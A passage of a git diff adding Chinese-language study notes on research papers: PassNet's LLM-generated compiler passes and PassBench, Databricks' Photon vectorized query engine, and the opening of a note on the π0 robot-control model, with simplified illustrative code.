+| BGE-Reranker Masked Mean Pooling | **2.90×** | 7 → 1 |
+
+失败模式三类：**边界对齐错误**（乱 fuse ReLU 或重写已优化的 Conv）、**代价模型盲区**（寄存器/SRAM 压力）、**语义破坏**（打断 FlashAttention 等优化链）。
+
+---
+
+## 与相关工作的关系
+
+```text
+张量编译器 (TVM / XLA / TorchInductor)
+  └─ 人工规则 + 搜索调度 → 长尾吃力
+
+LLM 编译优化
+  ├─ LLM Compiler / Compiler-r1 / DeCOS → 偏 pass 选择 / 调参
+  ├─ KernelBench / CUDA Agent / KernelEvolve → 孤立 kernel 生成
+  └─ PassNet → 合成新 transformation logic，嵌入管线
+
+评测
+  ├─ CompilerGym → RL 环境
+  └─ PassBench → 图级 pass + ES_t + 防作弊
+```
+
+与 [[triton-2019]]、[[triton-anatomy-paged-attn]] 的关系：Triton 常作为 pass **重写目标**（融合内核的实现语言）；PassNet 解决的是**谁来做融合决策、怎么评测、怎么训模型**。
+
+与 [[paged-attention-vllm]] 无直接竞争：后者是 serving 内存布局；PassNet 是编译器优化抽象层。
+
+---
+
+## 局限与未来方向（论文自述）
+
+- 当前主实验聚焦 **fusible 子图**、**单卡 A30 推理**
+- 数据域偏 NLP（63.6%）+ CV（27.0%）
+- 防作弊不能证明对未来对抗策略完备
+- 未来：多设备、训练循环优化、硬件代价模型作上下文、**RL from ES_t**、扩充科学计算/生成式模型域
+
+---
+
+## 初学者怎么读这篇论文
+
+1. **先建立 pass vs kernel 的心智模型**——看 Section 3.1 形式化定义即可，不必先啃证明。
+2. **看 Figure 1–2** 理解数据集如何从真实模型长出子图（Folding + Prefix）。
+3. **看 Section 3.5–3.6** 理解 ES_t 与防作弊——这是 PassBench 区别于 KernelBench 的关键。
+4. **跑 GitHub Quick Start 的一个 `entry.sh`**，观察 `aggregated_score.json` 比读十页表格更直观。
+5. **对照 Sparkle Case（Appendix H）** 理解「编译器丢语义、LLM 捡语义」的成功路径。
+
+---
+
+## 自测题
+
+1. 为什么论文说 43% 子图在默认 TorchInductor 下变慢，却仍主张「扩图覆盖」不够？
+2. Pass \(\pi=(M,R)\) 与「直接生成 CUDA 文件」在可组合性上差在哪？
+3. Prefix Analysis 里 \(K(P+1)=K(P)\) 平台区直觉含义是什么？
+4. ES_t 为什么要 rectified speedup，而不是正确 0/1 + 加速比分开报？
+5. 反向评测（compiled before eager）防的是哪类 correctness 漏洞？
+
+<details>
+<summary>参考答案（先自己做）</summary>
+
+1. 性能天花板与图复杂度相关性极弱（\(r=0.013\)），说明瓶颈在**启发式规则覆盖**而非图规模；需要新 pass 而非更多同类图。
+2. Pass 通过 IR 模式匹配嵌入既有管线，可多 pass 串联、复用编译器验证；裸 kernel 需手工集成且难与 fusion 流水线组合。
+3. 新增算子没有增加 launched kernel 数，说明已被融合进现有执行单元——这段子图是 fusible 候选。
+4. Agent 需要**连续、逐子图**信号做迭代优化；纯离散对错无法指导「快但略错」或「对但慢」的权衡，ES_t 统一打分。
+5. PyTorch GPU 内存池残留导致 `torch.empty` 等错误实现与 eager 残留张量「碰巧」数值接近，先跑 eager 会误判正确；反向顺序保证验证时内存状态干净。
+
+</details>
+
+---
+
+## 资源链接
+
+- 论文：[arXiv:2605.29357](https://arxiv.org/abs/2605.29357)
+- 代码：[github.com/PaddlePaddle/PassNet](https://github.com/PaddlePaddle/PassNet)
+- 数据：[huggingface.co/datasets/PassNet/PassNet](https://huggingface.co/datasets/PassNet/PassNet)
+- 排行榜：[paddlepaddle.github.io/PassNet/leaderboard.html](https://paddlepaddle.github.io/PassNet/leaderboard.html)
+- 基线编译器：[[TorchInductor 生态]]（PyTorch 2 `torch.compile`）
+
+---
+
+## 一句话带走
+
+**PassNet 把「LLM 帮编译器优化」从写孤立 GPU kernel，升级为写可嵌入管线的 graph pass，并用 18K 真实图 + PassBench（ES_t + 防作弊）证明：模型在长尾子图上偶尔能碾压 TorchInductor 3×，但要把偶尔变成通常，靠的是数据与评测基础设施，而不只是更大的 base model。**
diff --git a/src/content/docs/papers/passnet-scaling-large-language-models-for-graph-compiler-pass-generation-arxiv-2.md b/src/content/docs/papers/passnet-scaling-large-language-models-for-graph-compiler-pass-generation-arxiv-2.md
new file mode 100644
index 000000000..942ff4a1c
--- /dev/null
+++ b/src/content/docs/papers/passnet-scaling-large-language-models-for-graph-compiler-pass-generation-arxiv-2.md
@@ -0,0 +1,202 @@
+---
+title: PassNet: Scaling Large Language Models for Graph Compiler Pass Generation
+来源: https://arxiv.org/abs/2605.29357
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# PassNet：用大模型为图编译器自动生成优化通道
+
+## 一、从"修路工人"说起
+
+想象你是一名修路工人。每天的工作流程是这样的：
+
+1. 拿到一张地图（程序代码）
+2. 地图上画了很多路段（计算节点）
+3. 你的任务是在某些路段之间"打通隧道"，让车（数据）跑得更快的
+
+传统编译器（比如 TorchInductor）就像一支固定编制的施工队——他们有一套标准操作手册，知道怎么合并相邻的两段路、怎么去掉不必要的转弯。这套手册对大部分常见路况很有效。
+
+但问题是：现实中的道路千变万化。有些组合（比如卷积 + 批归一化 + ReLU）是常见的，施工队有经验；但有些长尾组合（比如某种特殊的注意力机制变体），施工队的手册里没有对应方案，甚至可能"越改越慢"。
+
+论文的数据：TorchInductor 在真实场景中有 **43% 的子图** 经过编译后反而变慢了。
+
+PassNet 的想法很简单：**让大语言模型来写这些"施工方案"（pass）**，而不是依赖人工编写。
+
+## 二、什么是"通道"（Pass）？
+
+在图编译器里，一个 **pass** 就是一个"查找 + 替换"的规则：
+
+- **匹配器（Matcher）**：在计算图中找到符合特定模式的子图
+- **重写器（Rewriter）**：把找到的子图替换成等价但更快的版本
+
+举一个最实际的例子。
+
+### 代码示例 1：一个典型的 Fusion Pass
+
+```python
+# 原始代码：这三个操作分别执行，产生三次内存读写
+def forward(x, weight, bias):
+    conv_out = torch.conv2d(x, weight)       # ① 卷积
+    bn_out = torch.BatchNorm2d(conv_out)     # ② 批归一化
+    relu_out = torch.relu(bn_out)             # ③ 激活函数
+    return relu_out
+```
+
+上面这段代码执行时，GPU 要跑三次独立的 kernel：
+
+```
+Kernel 1: conv2d → 写入中间结果到显存
+Kernel 2: BatchNorm  → 读显存 → 写回显存
+Kernel 3: ReLU  → 读显存 → 写回显存
+```
+
+每次读写都花时间和带宽。一个 Fusion Pass 的作用就是把这三步合并成一个 kernel：
+
+```python
+# Fusion Pass 生成的代码：三步合一
+@torch.compile
+def fused_forward(x, weight, bias):
+    # 编译器生成的融合 kernel，只写一次显存
+    conv_out = torch.conv2d(x, weight)
+    # BatchNorm + ReLU 被融合进同一个 kernel
+    return torch.relu(conv_out + ... )  # 归一化参数内联
+```
+
+这就是 pass 的本质：**不改语义，只改执行方式**。
+
+### 代码示例 2：LLM 生成的 Pass 应该长什么样
+
+PassNet 要求 LLM 输出的不是自由形式的代码，而是一个**结构化的变换规则**，格式类似这样：
+
+```json
+// LLM 生成的 Pass 描述（简化版）
+{
+  "pattern": {
+    "operators": ["conv2d", "batch_norm", "relu"],
+    "dependencies": ["conv2d->batch_norm", "batch_norm->relu"]
+  },
+  "rewrite": {
+    "target": "fused_conv_bn_relu",
+    "fusion_strategy": "kernel_merge",
+    "constraints": {
+      "dtype_support": ["float32", "float16"],
+      "shape_generalization": true
+    }
+  }
+}
+```
+
+这个 JSON 会被编译器读取，然后应用到对应的计算图上。关键点在于：
+
+- **pattern** 告诉编译器"在哪里找"
+- **rewrite** 告诉编译器"怎么换"
+- **constraints** 告诉编译器"在什么条件下安全地换"
+
+## 三、PassNet 解决了什么问题？
+
+### 3.1 现有方法的局限
+
+目前用 LLM 做编译器优化的方向主要集中在 **kernel 生成**——让 LLM 直接写出一个完整的 CUDA/Triton kernel。这有两个问题：
+
+1. **不兼容现有编译器管线**：LLM 生成的 kernel 是孤立的，没法嵌入 TorchInductor 这样的流水线
+2. **不可验证**：一个完整的 kernel 很难自动证明它的正确性
+
+PassNet 认为更合适的抽象是 **pass generation**——让 LLM 写结构化的图变换，这些变换天然可以集成到编译器中，并且可以通过编译器自身的验证基础设施来检查正确性。
+
+### 3.2 两个核心贡献
+
+PassNet 提供了两样东西：
+
+| 组件 | 说明 | 规模 |
+|------|------|------|
+| **PassNet-Dataset** | 从 10 万个真实模型中提取的计算图 | 18,086 张唯一计算图 |
+| **PassBench** | 200 个精心挑选的长尾融合任务 | 2,060 个子图 |
+
+### 3.3 数据从哪来？
+
+不是合成数据，是从真实模型里抓出来的：
+
+1. 用 `pass_net.extract` 装饰器，在模型运行时自动记录计算图
+2. 过滤掉不符合要求的图（必须可运行、可序列化、可分解等）
+3. 用三种策略生成子图：
+
+**策略 A——递归折叠**：把频繁出现的操作序列打包成符号单元
+
+```
+[Conv2d, BatchNorm] → α
+[α, ReLU] → β
+```
+
+**策略 B——前缀分析**：观察 kernel 数量曲线，找出"平台区"（加了一个操作但 kernel 数没变，说明被融合了）
+
+```
+操作数(P) → Kernel数(K)
+P=1: K=1
+P=2: K=1  ← 平台区开始
+P=3: K=1  ← 平台区
+P=4: K=2  ← 新 kernel 开始了
+```
+
+**策略 C——单算子子图**：单个基础操作的独立分析
+
+## 四、怎么评判好坏？——ES_t 评分
+
+这是论文最有意思的部分之一。传统的 benchmark 只看"跑通没跑通"（二元判断），但 PassNet 提出了一个更精细的指标：**Error-aware Speedup Score（ES_t）**。
+
+它同时考虑三个方面：
+
+1. **正确性**：改写后的代码输出是否和原来一致（允许一定误差容限）
+2. **稳定性**：是否在某些情况下崩溃（编译失败 / 运行时报错）
+3. **性能**：速度提升了多少倍
+
+对于每个子图 i，测量其加速比 s_i，然后分三种情况打分：
+
+- **加速了**（s_i >= 1）且正确：直接取 s_i
+- **减速了**（s_i < 1）但正确：指数惩罚 s_i^(p+1)，p 是惩罚系数
+- **不正确**：根据错误严重程度给惩罚 b 或直接记为 1
+
+最后对所有子图的得分取几何平均，得到 ES_t。
+
+为什么用几何平均而不是算术平均？因为几何平均对极端值更敏感——如果一个 pass 在大多数图上表现好但在少数图上把结果搞错了，几何平均会显著拉低总分，这更符合我们对编译器的期望：**宁可不做优化，也不能改错结果**。
+
+## 五、实验发现
+
+### 5.1 前沿模型仍然差距很大
+
+最好的大模型在 PassBench 上仍然落后 TorchInductor **37%**。这说明这个 benchmark 还没有被饱和——LLM 在这件事上还有很大的提升空间。
+
+### 5.2 个别场景 LLM 能大幅超越编译器
+
+虽然整体不如 TorchInductor，但在**单个子图**上，LLM 能达到 **3 倍加速**。这说明瓶颈不是能力，而是**一致性**——LLM 偶尔能找到极好的优化方案，但不能稳定地每次都找到。
+
+### 5.3 小模型微调效果惊人
+
+只用约 **4,000 条** PassNet 训练轨迹微调一个小模型，性能提升了 **2.67 倍**，接近前沿模型的水平。这意味着：
+
+- 高质量的数据比数据量更重要
+- 这条路线有巨大的持续进步空间
+
+## 六、关键概念小结
+
+| 术语 | 解释 |
+|------|------|
+| **计算图（Computational Graph）** | 把程序表示为节点（算子）和边（数据依赖）的有向无环图 |
+| **Pass** | 一个"匹配 + 替换"的规则，用于优化计算图 |
+| **Fusion** | 把多个算子合并成一个 kernel 执行，减少内存读写 |
+| **长尾负载（Long-tail Workload）** | 不常见、编译器默认优化覆盖不到的计算模式 |
+| **ES_t** | 统一衡量正确性、稳定性和性能的评分指标 |
+| **PassBench** | 200 个长尾融合任务的评测基准 |
+
+## 七、我的理解
+
+这篇文章的核心洞察是：**让 LLM 做它擅长的事——理解模式并生成结构化变换——同时让编译器做它擅长的事——验证正确性和执行优化。**
+
+这比让 LLM 直接写 kernel 更务实。就像让建筑师画蓝图（pass），而不是让建筑师亲自砌砖（kernel）。建筑师不需要知道每一块砖怎么放，他只需要告诉施工队"这里应该打通"，剩下的交给专业的人（编译器）去做。
+
+## 八、思考题
+
+1. 如果让 LLM 生成的 pass 能够像插件一样被编译器动态加载，这会改变编译器的架构设计吗？
+2. ES_t 评分中的误差容忍阈值 t，设得太严会不会限制 LLM 的创新空间？设得太松会不会引入隐藏 bug？
diff --git a/src/content/docs/papers/performer-2020.md b/src/content/docs/papers/performer-2020.md
index d7dba7969..25dd808ea 100644
--- a/src/content/docs/papers/performer-2020.md
+++ b/src/content/docs/papers/performer-2020.md
@@ -2,7 +2,7 @@
 title: Performer — 用随机特征把 softmax attention 拉成线性复杂度
 来源: 'Choromanski et al., "Rethinking Attention with Performers", ICLR 2021 (arXiv:2009.14794)'
 日期: 2026-05-31
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/photon-databricks-2022.md b/src/content/docs/papers/photon-databricks-2022.md
new file mode 100644
index 000000000..25ee500c2
--- /dev/null
+++ b/src/content/docs/papers/photon-databricks-2022.md
@@ -0,0 +1,286 @@
+---
+title: Photon — Databricks 为 Lakehouse 打造的向量化查询引擎
+来源: https://people.eecs.berkeley.edu/~matei/papers/2022/sigmod_photon.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你经营一家**大型连锁超市集团**（这就是企业里的「数据湖 + 数仓」混合体）：
+
+- **地下仓库**（S3 / ADLS / GCS）堆着成吨**未分拣的货**：有的箱子标签潦草、有的混装、有的超大件——这就是数据湖里**原始、未治理**的 Parquet / JSON / 日志。
+- **楼上精品店**（传统数仓）只摆**精选、贴好价签、按过道分类**的商品，结账飞快，但只能卖一小部分库存，还要专人每天搬货上楼（ETL）。
+- 老板想要的 **Lakehouse** 是：**只保留一个地下仓库**，但楼上要有精品店的体验——ACID、SQL、治理、回滚，全都直接开在对象存储上。
+
+问题来了：顾客（分析师、数据科学家）拿着同一张**会员卡**（Spark DataFrame API / SQL）在店里逛，有人要「整箱扫条码做机器学习」，有人要「30 秒内出 BI 报表」。收银系统必须：
+
+1. 对**精品陈列区**（Delta Lake + 聚类 + 统计信息）极快；
+2. 对**地下乱堆区**（无统计、大字符串、稀疏 NULL）也不能崩；
+3. **不能换会员卡**——现有 Spark 作业零改代码就要变快。
+
+**Photon** 就是 Databricks 给这家「一仓两卖」超市换的**新一代收银内核**：用 C++ 写的向量化引擎，嵌在 Databricks Runtime（DBR）里，和 Spark 共用调度、内存、监控，SQL 和 DataFrame 都能走，不支持的操作再**优雅回退**到老 Spark SQL 引擎。
+
+论文发表于 **SIGMOD 2022**，获 **Best Industry Paper**；Databricks 用 Photon 在 100TB TPC-DS 上拿过审计世界纪录。客户侧平均约 **3×** 加速，部分工作负载 **10×+**。
+
+## 论文速览
+
+| 维度 | 内容 |
+|------|------|
+| 标题 | Photon: A Fast Query Engine for Lakehouse Systems |
+| 作者 | Alexander Behm 等（Databricks，Matei Zaharia 等） |
+| 会议 | SIGMOD 2022，费城 |
+| DOI | [10.1145/3514221.3526054](https://doi.org/10.1145/3514221.3526054) |
+| 核心贡献 | Lakehouse 场景下的 C++ 向量化引擎；与 Spark 语义兼容；原始数据自适应执行 |
+| 工程状态（论文撰写时） | 已执行数千万次客户查询；可部分 rollout |
+
+## 为什么 Lakehouse 难做查询引擎
+
+传统云数仓假设：数据已导入**专有格式**，有统计信息、聚类、索引。Lakehouse 引擎面对的是**光谱两端**：
+
+| 数据形态 | 特征 | 引擎压力 |
+|----------|------|----------|
+| 治理良好的表 | Delta 聚类、合理文件大小、强类型 | 要和专用数仓拼 CPU 效率 |
+| 原始湖数据 | 小文件、宽表、大字符串、占位符代替 NULL、无统计 | 不能假设「列大多非空」「字符串是 ASCII」 |
+
+同时，组织已有大量 **Spark DataFrame / UDF** 作业。新引擎若不能**嵌入 Spark 执行框架**、不能保证**结果与 Spark SQL 一致**，就无法渐进替换——这是 Photon 集成设计的出发点。
+
+## 核心概念
+
+### 1. Lakehouse 四层架构（Databricks 语境）
+
+论文用四层描述产品（与 Photon 位置相关）：
+
+1. **对象存储**：S3 等，数据以 Parquet / Delta 等开放格式存放。
+2. **自动数据管理层**：主要是 **Delta Lake**——ACID、time travel、元数据加速。
+3. **弹性执行层**：DBR 集群；**Photon 在 executor 内做单线程分区任务**。
+4. **用户界面**：Notebook、SQL、作业调度。
+
+Photon 不替代 Spark 的 driver 调度、stage 划分、容错；它替换的是**每个 task 里「算子怎么跑」**的那一层。
+
+### 2. 向量化解释执行（Vectorized Interpreted）
+
+现代 OLAP 引擎常见两条路：
+
+- **向量化**（MonetDB/X100、Vertica）：按**批**处理列数据，算子间用虚函数调度，易插桩、易自适应。
+- **代码生成**（Spark SQL 默认、HyPer）：运行时拼出专用循环，减少分支，复杂表达式更强。
+
+Photon **选向量化**，原因包括：
+
+- Lakehouse 要在**运行时**根据每批数据选快路径（有无 NULL、是否全 ASCII、批次是否稀疏）。
+- 算子边界保留 → **每算子独立 metrics**，客户现场排障友好。
+- 团队原型对比：聚合算子向量化几周，代码生成路径数月。
+
+不是否认代码生成——复杂表达式树仍可能用**融合算子**（如 `BETWEEN` 专用 kernel）弥补差距。
+
+### 3. 列式 Column Batch 与 Position List
+
+Photon 的基本单位是 **column batch**：
+
+- 每列一个 **column vector**（连续值缓冲区 + NULL 位图）。
+- 另有 **position list**：当前批次里**仍活跃**的行下标（过滤后未删物理行，只标记「关掉的灯」）。
+
+过滤（Filter）通过**缩小 position list** 实现，而不是搬动整列数据。论文强调：对复杂查询，position list 往往优于「每行一字节 active 标记」的 SIMD 方案，因为可避免对大量已过滤行做无意义循环。
+
+### 4. 执行 Kernel
+
+底层热点逻辑写成 **kernel**——在向量上跑的紧凑循环，可模板特化、可手写 SIMD、也可靠编译器 auto-vectorize（配合 `RESTRICT` 等提示）。算子调用 kernel；kernel 之间传递列向量与 position list。
+
+### 5. 自适应微批（Micro-adaptivity）
+
+每个 batch 可探测：
+
+- 是否存在 NULL；
+- 是否有 inactive 行；
+- 字符串是否全 ASCII；
+- 批次是否稀疏（影响 hash join 探测时是否**压缩** position list）。
+
+据此在运行时选择不同 kernel 实例——论文称为 batch-level adaptivity，与 Vectorwise 的 micro-adaptivity 思路相近。
+
+### 6. 与 Spark 的「部分接入」（Partial Rollout）
+
+不可能一次实现 Spark SQL 全部算子。策略：
+
+- 从 **FileScan** 自底向上把支持的子树换成 Photon 算子；
+- 遇到不支持的节点，插入 **Transition** 把列式转回 Spark 行式；
+- Scan 与 Photon 之间用 **Adapter** 做**零拷贝**指针传递（`OffHeapColumnVector`）。
+
+因此一条查询可能是：**Photon 段 → Transition → JVM Spark SQL 段**，对用户透明。
+
+### 7. 统一内存与 Spill
+
+Photon 通过 Spark **UnifiedMemoryManager** 做 reservation；Spark 可向 Photon 要 spill，Photon 也可逼其他算子 spill。Lakehouse 上 SQL 与 UDF 混跑，**固定预算式** spill 不够用，必须动态协调。
+
+## 架构一图流
+
+```text
+用户 SQL / DataFrame
+        ↓
+Driver：Catalyst 优化器 → 物理计划
+        ↓
+Executor Task（多线程，每 task 单线程跑 Photon）
+        ↓
+┌─────────────────────────────────────┐
+│  Photon C++（列批 HasNext/GetNext）   │
+│  FileScan Adapter → Filter → Join …  │
+│  必要时 Transition → Spark SQL JVM   │
+└─────────────────────────────────────┘
+        ↓
+Delta / Parquet on S3（列式读，少一次 pivot）
+```
+
+## 代码示例 1：论文风格的 Photon Kernel（教学复现）
+
+下面用 C++ 模板复现论文 Listing 2 的 `sqrt` kernel 思想：`kHasNulls` / `kAllRowsActive` 在编译期决定分支是否消除。
+
+```cpp
+// 简化教学版：Photon 对「无 NULL + 全行活跃」批次的特化路径
+template <bool kHasNulls, bool kAllRowsActive>
+void SquareRootKernel(
+    const int16_t* RESTRICT pos_list,
+    int num_rows,
+    const double* RESTRICT input,
+    const int8_t* RESTRICT nulls,
+    double* RESTRICT result) {
+  for (int i = 0; i < num_rows; ++i) {
+  // 若 kAllRowsActive==true，row_idx 直接等于 i，省掉间接寻址
+    const int row_idx = kAllRowsActive ? i : pos_list[i];
+    if (!kHasNulls || !nulls[row_idx]) {
+      result[row_idx] = std::sqrt(input[row_idx]);
+    }
+  }
+}
+
+// 运行时根据 batch 元数据派发：
+void DispatchSqrt(const ColumnBatch& batch, double* out) {
+  if (!batch.has_nulls && batch.all_rows_active) {
+    SquareRootKernel<false, true>(nullptr, batch.num_rows,
+        batch.col<double>(0), nullptr, out);
+  } else if (!batch.has_nulls) {
+    SquareRootKernel<false, false>(batch.positions, batch.num_rows,
+        batch.col<double>(0), nullptr, out);
+  } else {
+    SquareRootKernel<true, false>(batch.positions, batch.num_rows,
+        batch.col<double>(0), batch.nulls<double>(0), out);
+  }
+}
+```
+
+零基础要点：**同一段数学逻辑，按数据「脏不脏」编译出多条路径**；脏数据走通用路径，干净数据走无分支快路径——这是 Lakehouse 没有完备统计信息时，把性能找回来的办法。
+
+## 代码示例 2：同一业务逻辑 — SQL 与 Spark API（Photon 双入口）
+
+Photon 不发明新方言；下面两种写法在 DBR 上会进同一套优化器，物理计划里能 Photon 的算子会换成 C++ 实现。
+
+```python
+# PySpark DataFrame — 论文强调必须语义兼容的 API
+from pyspark.sql import functions as F
+
+df_customer = spark.table("customer")
+df_orders = spark.table("orders")
+
+result = (
+    df_customer.join(df_orders, "c_orderid")
+    .filter((F.col("o_shipdate") > "2021-01-01") & (F.col("c_age") > 25))
+    .groupBy("c_name")
+    .agg(F.sum("o_price").alias("total"))
+    .select(F.upper("c_name"), "total")
+)
+result.show()
+```
+
+```sql
+-- 等价的 SQL（论文 Listing 1 扩展版）
+SELECT upper(c_name), sum(o_price)
+FROM customer
+JOIN orders ON customer.c_orderid = orders.o_orderid
+WHERE o_shipdate > DATE '2021-01-01'
+  AND customer.c_age > 25
+GROUP BY c_name;
+```
+
+在 Photon 开启的集群上，典型路径是：**Delta 文件裁剪 + 列式 Scan → Photon 向量化 Join/Agg →（若含不支持的 UDF）Transition 回 JVM**。你不需要改查询文本；差异体现在 Spark UI 的 operator metrics 与耗时上。
+
+## 代码示例 3：用 position list 理解 Filter（伪代码）
+
+```python
+# 逻辑行: index 0→10, 1→null, 2→"photon"
+# 过滤 col0 IS NOT NULL 之后：
+positions = [0, 2]          # 只保留活跃逻辑行
+# col0.values[1] 可能仍是旧值，但 position list 不会指向 1
+
+def filter_is_not_null(batch):
+    new_pos = [p for p in batch.positions if not batch.nulls[0][p]]
+    return batch.with_positions(new_pos)  # 列数据不搬，只改「哪些行参与后续 kernel」
+```
+
+这与火山模型「逐行 next()」不同：**过滤是改索引集合**，后续 kernel 循环次数 = 活跃行数，而不是物理批大小。
+
+## 设计决策对照表
+
+| 决策 | Photon 选择 | 主要理由 |
+|------|-------------|----------|
+| 语言 | C++ 原生库，JNI 进 JVM 进程 | JVM JIT 天花板、宽表 code cache 悬崖、大堆 GC、SIMD 可控 |
+| 执行模型 | 向量化解释 | 自适应、可观测性、开发效率 |
+| 内存布局 | 默认列式 | 贴合 Parquet、SIMD、shuffle 编码；hash 表等仍可能临时 pivot 成行 |
+| 接入方式 | 部分替换 + 回退 | Spark SQL 特性持续演进，不可能 Big Bang 重写 |
+| Scan 接口 | Adapter 零拷贝 | `OffHeapColumnVector` 指针交给 Photon，每批一次 JNI |
+
+## 性能数字（论文实验，便于建立直觉）
+
+| 场景 | 相对 DBR（旧 Spark SQL 引擎） |
+|------|-------------------------------|
+| 1GB 整数 hash join | Photon ~**3.5×** |
+| `collect_list` 分组聚合 | 最高 ~**5.7×** |
+| ASCII `upper()` 字符串 | ~**3×**（SIMD 路径） |
+| Parquet 写入 2 亿行 | 端到端 ~**2×** |
+| TPC-H SF=3000（Delta on S3） | 平均 ~**4×**，Q1 最高 ~**23×**（Decimal 向量化） |
+| TPC-DS Q24 join compaction | 自适应压缩 ~**1.55×** vs 无压缩 |
+| UUID shuffle 编码 | 数据量 ~**2×** 减少，端到端 ~**15%** |
+
+Photon **帮不上忙**的情况：纯 IO / 网络 bound、几乎只做 scan 且无 CPU 重表达式——瓶颈不在执行内核。
+
+## 语义一致性：为什么测试很重
+
+同一表达式可能因计划切分跑在 Photon 或 Spark 上，**结果必须一致**。论文列举坑：
+
+- Java vs C++ 整数转浮点差异；
+- IANA 时区库版本不一致；
+- Decimal 实现策略不同（Photon 可为性能少做某些 cast）。
+
+测试三层：**表达式单测**、**端到端 SQL 对比**、**随机 fuzz**。这是「换引擎不换 API」的代价。
+
+## 与相关系统 / 本仓库条目
+
+| 系统 / 条目 | 关系 |
+|-------------|------|
+| Spark SQL | Photon 嵌入 DBR，替换物理算子实现 |
+| Delta Lake | 开放表格式 + 聚类/裁剪，减少 IO，让 CPU 内核成为瓶颈 |
+| MonetDB/X100 | 向量化 + kernel 思想的学术源头 |
+| Apache Arrow | 类似列向量内存布局；Photon 自建内部格式 |
+| Flare | 也在 Spark 内嵌原生引擎，论文强调 Photon 更深入讨论内存与 spill |
+| [[seastar-shared-nothing-2014]] | 同属「为现代硬件重写执行层」；Seastar 面向通用服务器 shard，Photon 面向 OLAP 批处理 |
+| [[mooncake-kvcache-2024]] | 另一维度的数据系统性能——LLM KV 缓存；Photon 解决的是分析型 SQL/ETL |
+
+## 常见误解
+
+1. **「Photon = 新查询语言」** —— 错。仍是 Spark SQL + DataFrame，只是物理执行换 C++。
+2. **「Photon 替代 Spark」** —— 错。调度、shuffle 协议、容错、很多算子仍在 Spark；是**协同**。
+3. **「向量化一定比代码生成快」** —— 错。稀疏批、极复杂表达式上，论文承认 codegen 有优势；Photon 用融合算子与 join compaction 补洞。
+4. **「只服务数仓 SQL」** —— 错。设计目标包含 ETL、宽表、原始字符串、写 Parquet/Delta。
+
+## 零基础学习路线
+
+1. 先理解 **Lakehouse = 湖存储 + 仓能力**，读 Delta Lake 论文或文档建立表格式概念。
+2. 用 PySpark 写一个小 join + agg，在 Databricks 打开 Photon，对比 Spark UI 的 **duration / scan metrics**。
+3. 读论文 §3–§4：JVM vs Native、向量化 vs Codegen、Column Batch。
+4. 读 §5：Adapter / Transition / 统一内存——理解「为什么不能一次全替换」。
+5. 若继续深入：MonetDB/X100 原始论文、Spark Whole-Stage Codegen 博客（对比用）。
+
+## 小结
+
+Photon 回答的是一个**产品架构问题**，不只是微基准刷分：在**开放格式的数据湖**上，如何做出**数仓级 SQL 性能**，同时**不抛弃 Spark 生态**。技术抓手是 **C++ 列式向量化 + batch 级自适应 + 与 Spark 的渐进融合**。论文的价值在于把 Lakehouse 约束（脏数据、双 API、部分 rollout）写清楚，并给出可复现的工程权衡，而不是声称「又一个更快的列存」。
+
+若你只做概念记忆，记住一句即可：**Photon 是嵌在 Spark 任务里的原生收银机，会员卡不变，货还是 S3 上的 Delta/Parquet，但结账按列、按批、按数据脏净选快车道。**
diff --git a/src/content/docs/papers/pi0-physical-intelligence-2024.md b/src/content/docs/papers/pi0-physical-intelligence-2024.md
new file mode 100644
index 000000000..41e8110a8
--- /dev/null
+++ b/src/content/docs/papers/pi0-physical-intelligence-2024.md
@@ -0,0 +1,297 @@
+---
+title: π0: A Vision-Language-Action Flow Model for General Robot Control
+来源: https://arxiv.org/abs/2410.24164
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人与 VLA
+provenance: pipeline-v3
+---
+
+# π0：用流匹配大模型控制机器人
+
+## 一、从日常类比开始
+
+想象你在超市购物，收银员要把商品装入购物袋。
+
+传统方法像是"编程机器人"：你给机器人写死每条指令——"拿起薯片，向上移动 10 厘米，向右移动 5 厘米，合上夹子"。一旦袋子的位置稍微变化，或者商品的形状不规则，机器人就懵了。
+
+另一种方法像是"看人学手艺"：你让机器人看几百个人是怎么装袋子的——有人把薯片放最底下，有人把罐头放旁边，有人会把袋子撑开再放东西。看多了之后，机器人自己就学会了装袋子的"手感"。即使袋子形状变了，它也能灵活调整。
+
+π0 就是第二种方法。它的目标是：**让一个模型学会控制各种各样的机器人，做各种各样的任务，只需要"看"大量机器人干活的视频就够了。**
+
+## 二、核心概念
+
+### 2.1 什么是 VLA 模型？
+
+VLA = Vision-Language-Action，中文叫"视觉-语言-动作模型"。
+
+| 输入/输出 | 是什么 | 类比 |
+|-----------|--------|------|
+| 视觉（Vision） | 摄像头拍的照片 | 眼睛 |
+| 语言（Language） | "把鸡蛋放进锅里" | 听懂人话 |
+| 动作（Action） | 机械臂该往哪移动 | 动手干活 |
+
+π0 的突破在于：它不只"看懂"画面和听懂指令，还能直接生成**连续的、精确的**机器动作。
+
+### 2.2 为什么用 Flow Matching（流匹配）？
+
+这是 π0 最核心的技术创新。
+
+想象你要从一个乱糟糟的房间走到门口。
+
+- **传统离散方法**（如 OpenVLA）：像下棋——每次只能从一个有限列表中选择一个动作（比如"左移一格"或"右移一格"）。动作精度有限。
+- **π0 的流匹配方法**：像水流。想象从一团混乱的水慢慢"流动"成清晰的河道。数学上，它从随机噪声开始，一步步"流"到精确的动作位置。
+
+具体来说：
+
+1. 从一团噪声 A₀ 开始（想象一团乱麻）
+2. 沿着一个"流向场"（vector field）vθ 逐步移动
+3. 每一步都更靠近正确答案
+4. 最终 A₁ 就是一组精确的动作指令
+
+这个过程叫**条件流匹配**（Conditional Flow Matching），本质上是扩散模型（Diffusion Model）的一种更高效的变体。
+
+### 2.3 模型架构：VLM 的"身体"
+
+π0 的灵感来自 GPT-4V 这样的视觉语言模型（VLM）。VLM 擅长看图和说话，但不会动。π0 的做法是：
+
+1. **拿一个预训练好的 VLM**（PaliGemma，30 亿参数）当"大脑"
+2. **加装一个"动作专家"（Action Expert）**，约 3 亿参数，专门处理机器人动作
+3. **总参数 33 亿**，在性能和效率之间取得平衡
+
+```
+图像 → [视觉编码器] → 特征向量 ─┐
+                                  ├──→ [VLM 大脑 + 动作专家] → 连续动作
+文字指令 ─────────────────────────┘
+```
+
+动作专家的作用就像一个"翻译"，把 VLM 对场景的理解，翻译成机械臂能执行的物理动作。
+
